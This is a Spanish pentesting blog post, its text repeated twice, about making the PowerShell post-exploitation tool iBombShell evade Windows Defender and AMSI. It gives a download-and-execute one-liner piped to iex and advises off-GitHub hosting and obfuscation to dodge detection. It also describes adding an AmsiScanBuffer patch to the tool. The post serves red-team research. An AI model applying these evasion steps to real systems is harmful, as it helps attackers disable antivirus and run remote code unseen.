iBombShell: Bypass para AMSI y Windows Defender
Si sigues este blog seguramente conoces la herramienta iBombshell que ha sido una protagonista del libro de Hacking Avanzado en el Red Team con Empire (& iBombShell). Una herramienta que empezamos a desarrollar en el año 2018 y que fue presentada en la BlackHat de Europa de dicho año.
iBombshell es una herramienta con dos vertientes diferenciadas, una es disponer de una shell dinámica en Powershell orientada al Ethical Hacking, evadiendo el no disponer de herramientas de pentesting en la máquina local, y una segunda vertiente que es manejar los “Warriors” (o agentes de control) en remoto para poder ejecutar acciones de post-explotación en una máquina Windows (incluso GNU/Linux o MacOS sí disponen de Powershell Everysystem).
Recientemente, el equipo de Ideas Locas ha tenido una incorporación nueva. Víctor Rodríguez está haciendo su beca con nosotros y ya ha conocido a iBombshell. Ha estado jugando y conociendo lo que es iBombshell y algunas de las protecciones que existen alrededor del código Powerhsell como, por ejemplo, AMSI: AntiMalware Scan Interface.
La realidad es que en Windows 10, de primeras cuando intentamos cargar la consola de iBombshell nos encontramos que el propio Defender nos lo bloquea. Esto es debido a que AMSI indica que está bloqueado por ser malicioso. Vamos a ver qué se puede hacer en estos casos, ya que es muy común que las herramientas de protección consideren a las herramientas de auditoría y pentesting como maliciosas.
Bypass Defender para iBombshell
Nos encontramos con que la consola de iBombshell estaba siendo bloqueada por Windows Defender en Windows 10. La creencia en que cualquiera puede tomar el código de iBombshell y puede modificarlo para evadir dicha protección está clara. El código de iBombshell, en lo que a la consola se refiere, no deja de ser un cargador de funciones dinámicamente de forma lógica, pero Defender lo bloqueaba. Algo que nos sucede con muchas de las herramientas de Pentesting con PowerShell.
La técnica utilizada para hacer un bypass y poder ejecutar la consola es sencilla y se descubre casi por error. Precisamente, lo que se provoca previamente es un error y después va el código de la consola. El resultado es que la consola se carga y aparece en el proveedor de funciones de Powershell.
En el vídeo siguiente se puede ver cómo funciona esta técnica. El comando es (iwr [URL] –UseBasicParsing).rawcontent | iex. Esta instrucción provoca una serie de errores y acaba ejecutando lo que viene después, que es la consola de iBombshell. El resultado es que, si observa el proveedor de funciones con el comando "ls function:", se puede visualizar la función "console" cargada. Se puede decir que se consigue un bypass, ya que antes, con el comando normal no se podía ejecutar la consola en Windows 10.
Como se ha podido ver en el video, se está descargando la consola desde una ubicación con dirección IP y no desde el repositorio de Github. Puede que el repo de Github esté “pillado” por el AV, por lo que la técnica funcionará descargándolo así desde una ubicación distinta al Github, tal y como se puede ver en el vídeo.
En otras palabras, se puede probar desde el Github y puede funcionar, hasta que se filtre por la URL en el caso de Defender, si en algún momento lo hace. Lo interesante es tener alternativas, como, por ejemplo, utilizar la URL por dirección IP u otro dominio del que se tenga control, así como modificar ligeramente el código de la consola u ofuscarlo, por ejemplo, con Invoke-Obfuscation u otras herramientas y técnicas.
Bypass de AMSI
Lo curioso de todo esto es que, Victor y yo estábamos estudiando y viendo algunos de los bypass de AMSI nuevos, y nos dimos de lleno con el problema de la consola de iBombshell. Decidimos resolver el tema de la consola de iBombshell y pasar al siguiente nivel. Seguimos con la búsqueda de bypasses de AMSI y del estado del arte de éste, para poder ampliar el conjunto de técnicas y herramientas de Ethical Hacking.
Encontramos un bypass de AMSI basado en el “abuse” del ScanBuffer de AMSI. Técnica que ya se ha podido observar en el pasado, y es que funciona muy bien. Se puede hacer de varias formas, pero al final el objetivo es poder modificar dicho buffer dónde el texto introducido en la Powershell es evaluado para decidir si algo es malicioso y es bloqueado, es decir, no se ejecuta, o si algo es benévolo y se ejecuta dentro de la Powershell.
En el Github de rasta-mouse se puede encontrar este bypass de AMSI. El cual, y por lo que hemos podido probar, es bastante fiable a día de hoy.
Módulo de AMSI en iBombshell
Se integró este bypass de rasta-mouse en la herramienta. Primero se creó una función en Powershell para que funcione en el modo Everywhere y, posteriormente, se hizo un módulo en Python para que el modo Silently pudiera ejecutarlo de forma remota. A continuación, se puede visualizar un trozo de código escrito en Python por Víctor Rodríguez.
Para ejemplificar esto, dejamos el vídeo de ejemplo dónde se puede ver el funcionamiento del módulo en Python de iBombshell sobre el bypass de AMSI de rasta-mouse.
Por último, queríamos dejaros otro vídeo donde se puede ver el uso de la nueva funcionalidad de bypass de AMSI integrada en iBombshell siendo ejecutada desde el modo everywhere de la herramienta. El funcionamiento es sencillo y muy eficaz hasta el momento. Sin duda, hay que estar atentos a su evolución en los sistemas Windows 10 y la detección de Defender con el método.
Sabemos que los bypasses suelen tener una vida útil, más o menos corta, en función del sistema operativo y de las protecciones que se tengan configuradas en el equipo. Es cierto que en una auditoría o Ethical Hacking uno no siempre se encuentra con sistemas hiper-fortificados. Es más, no suele ser la tónica general, pero por si ocurre se debe estar al día en temas de bypass y técnicas de evasión de sistemas de protección.
Referencias
Seguiremos cuidando la herramienta de iBombshell y dotándola de nuevas funcionalidades que la hagan más y más utilizable por los pentesters en sus pruebas de intrusión, pero aquí os dejamos una lista de recursos sobre nuestra herramienta.
- [GitHub] iBombShell
- [White Paper] iBombShell: Dynamic Remote Shell
- [Blog Post] Pentesting MacOS & Windows with iBombShell
- [Blog Post] iBombShell: Tu Shell de pentesting en MacOS con PowerShell
- [Blog Post] iBombShell: Creando una función para MacOS
- [Blog Post] iBombShell: Environment Injection in Windows 10
- [Blog Post] iBombShell: Crear módulo para extracción de claves SSH privadas
- [Blog Post] iBombShell: UAC Bypass con Mocking Trusted Directories
- [Blog Post] iBombShell: Nuevas funciones presentadas en BlackHat Europe 2018
- [Blog Post] iBombShell: Cómo saltarse AMSI y Windows Defender
- [Blog Post] iBombShell: Cómo hacer un popup phishing
- [Blog Post] BlackHat Arsenal: Tools for Research & Pentesting -> iBombshell
- [Blog Post] iBombShell: Módulo de RID Hijacking & C2 GUI en .Net
- [Blog Post] iBombShell: Últimas novedades de un proyecto creciendo
- [Blog Post] iBombShell: From Empire to iBombShell
- [Blog Post] Hacking avanzado con Empire (& iBombShell)
Saludos,
Autores: Víctor Rodríguez Boyero y Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica. Para consultas puedes usar el Buzón Público para contactar con Pablo González
Figura 1: iBombShell: Bypass para AMSI y Windows Defender |
iBombshell es una herramienta con dos vertientes diferenciadas, una es disponer de una shell dinámica en Powershell orientada al Ethical Hacking, evadiendo el no disponer de herramientas de pentesting en la máquina local, y una segunda vertiente que es manejar los “Warriors” (o agentes de control) en remoto para poder ejecutar acciones de post-explotación en una máquina Windows (incluso GNU/Linux o MacOS sí disponen de Powershell Everysystem).
Figura 2: Hacking avanzado en el Red Team con Empire & iBombShell |
Recientemente, el equipo de Ideas Locas ha tenido una incorporación nueva. Víctor Rodríguez está haciendo su beca con nosotros y ya ha conocido a iBombshell. Ha estado jugando y conociendo lo que es iBombshell y algunas de las protecciones que existen alrededor del código Powerhsell como, por ejemplo, AMSI: AntiMalware Scan Interface.
Figura 3: Mensaje de error de AMSI al usar DownloadString |
La realidad es que en Windows 10, de primeras cuando intentamos cargar la consola de iBombshell nos encontramos que el propio Defender nos lo bloquea. Esto es debido a que AMSI indica que está bloqueado por ser malicioso. Vamos a ver qué se puede hacer en estos casos, ya que es muy común que las herramientas de protección consideren a las herramientas de auditoría y pentesting como maliciosas.
Bypass Defender para iBombshell
Nos encontramos con que la consola de iBombshell estaba siendo bloqueada por Windows Defender en Windows 10. La creencia en que cualquiera puede tomar el código de iBombshell y puede modificarlo para evadir dicha protección está clara. El código de iBombshell, en lo que a la consola se refiere, no deja de ser un cargador de funciones dinámicamente de forma lógica, pero Defender lo bloqueaba. Algo que nos sucede con muchas de las herramientas de Pentesting con PowerShell.
Figura 4: Libro de Pentesting con PowerShell 2ª Edición |
La técnica utilizada para hacer un bypass y poder ejecutar la consola es sencilla y se descubre casi por error. Precisamente, lo que se provoca previamente es un error y después va el código de la consola. El resultado es que la consola se carga y aparece en el proveedor de funciones de Powershell.
En el vídeo siguiente se puede ver cómo funciona esta técnica. El comando es (iwr [URL] –UseBasicParsing).rawcontent | iex. Esta instrucción provoca una serie de errores y acaba ejecutando lo que viene después, que es la consola de iBombshell. El resultado es que, si observa el proveedor de funciones con el comando "ls function:", se puede visualizar la función "console" cargada. Se puede decir que se consigue un bypass, ya que antes, con el comando normal no se podía ejecutar la consola en Windows 10.
Figura 5: Cargando console con error raw content
Como se ha podido ver en el video, se está descargando la consola desde una ubicación con dirección IP y no desde el repositorio de Github. Puede que el repo de Github esté “pillado” por el AV, por lo que la técnica funcionará descargándolo así desde una ubicación distinta al Github, tal y como se puede ver en el vídeo.
En otras palabras, se puede probar desde el Github y puede funcionar, hasta que se filtre por la URL en el caso de Defender, si en algún momento lo hace. Lo interesante es tener alternativas, como, por ejemplo, utilizar la URL por dirección IP u otro dominio del que se tenga control, así como modificar ligeramente el código de la consola u ofuscarlo, por ejemplo, con Invoke-Obfuscation u otras herramientas y técnicas.
Bypass de AMSI
Lo curioso de todo esto es que, Victor y yo estábamos estudiando y viendo algunos de los bypass de AMSI nuevos, y nos dimos de lleno con el problema de la consola de iBombshell. Decidimos resolver el tema de la consola de iBombshell y pasar al siguiente nivel. Seguimos con la búsqueda de bypasses de AMSI y del estado del arte de éste, para poder ampliar el conjunto de técnicas y herramientas de Ethical Hacking.
Figura 6: Libro de Ethical Hacking de Pablo González |
Encontramos un bypass de AMSI basado en el “abuse” del ScanBuffer de AMSI. Técnica que ya se ha podido observar en el pasado, y es que funciona muy bien. Se puede hacer de varias formas, pero al final el objetivo es poder modificar dicho buffer dónde el texto introducido en la Powershell es evaluado para decidir si algo es malicioso y es bloqueado, es decir, no se ejecuta, o si algo es benévolo y se ejecuta dentro de la Powershell.
Figura 7: Github con AmsiScanBuffer |
En el Github de rasta-mouse se puede encontrar este bypass de AMSI. El cual, y por lo que hemos podido probar, es bastante fiable a día de hoy.
Módulo de AMSI en iBombshell
Se integró este bypass de rasta-mouse en la herramienta. Primero se creó una función en Powershell para que funcione en el modo Everywhere y, posteriormente, se hizo un módulo en Python para que el modo Silently pudiera ejecutarlo de forma remota. A continuación, se puede visualizar un trozo de código escrito en Python por Víctor Rodríguez.
Figura 8: Bypass rasta-mouse escrito en Python |
Para ejemplificar esto, dejamos el vídeo de ejemplo dónde se puede ver el funcionamiento del módulo en Python de iBombshell sobre el bypass de AMSI de rasta-mouse.
Figura 9: PoC bypass de AMSI de rasta-mouse
Por último, queríamos dejaros otro vídeo donde se puede ver el uso de la nueva funcionalidad de bypass de AMSI integrada en iBombshell siendo ejecutada desde el modo everywhere de la herramienta. El funcionamiento es sencillo y muy eficaz hasta el momento. Sin duda, hay que estar atentos a su evolución en los sistemas Windows 10 y la detección de Defender con el método.
Figura 10: PoC Consola iBombshell bypass AMSI
Sabemos que los bypasses suelen tener una vida útil, más o menos corta, en función del sistema operativo y de las protecciones que se tengan configuradas en el equipo. Es cierto que en una auditoría o Ethical Hacking uno no siempre se encuentra con sistemas hiper-fortificados. Es más, no suele ser la tónica general, pero por si ocurre se debe estar al día en temas de bypass y técnicas de evasión de sistemas de protección.
Referencias
Seguiremos cuidando la herramienta de iBombshell y dotándola de nuevas funcionalidades que la hagan más y más utilizable por los pentesters en sus pruebas de intrusión, pero aquí os dejamos una lista de recursos sobre nuestra herramienta.
- [GitHub] iBombShell
- [White Paper] iBombShell: Dynamic Remote Shell
- [Blog Post] Pentesting MacOS & Windows with iBombShell
- [Blog Post] iBombShell: Tu Shell de pentesting en MacOS con PowerShell
- [Blog Post] iBombShell: Creando una función para MacOS
- [Blog Post] iBombShell: Environment Injection in Windows 10
- [Blog Post] iBombShell: Crear módulo para extracción de claves SSH privadas
- [Blog Post] iBombShell: UAC Bypass con Mocking Trusted Directories
- [Blog Post] iBombShell: Nuevas funciones presentadas en BlackHat Europe 2018
- [Blog Post] iBombShell: Cómo saltarse AMSI y Windows Defender
- [Blog Post] iBombShell: Cómo hacer un popup phishing
- [Blog Post] BlackHat Arsenal: Tools for Research & Pentesting -> iBombshell
- [Blog Post] iBombShell: Módulo de RID Hijacking & C2 GUI en .Net
- [Blog Post] iBombShell: Últimas novedades de un proyecto creciendo
- [Blog Post] iBombShell: From Empire to iBombShell
- [Blog Post] Hacking avanzado con Empire (& iBombShell)
Saludos,
Autores: Víctor Rodríguez Boyero y Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica. Para consultas puedes usar el Buzón Público para contactar con Pablo González
Figura 11: Contactar con Pablo González en MyPublicInbox |
No hay comentarios:
Publicar un comentario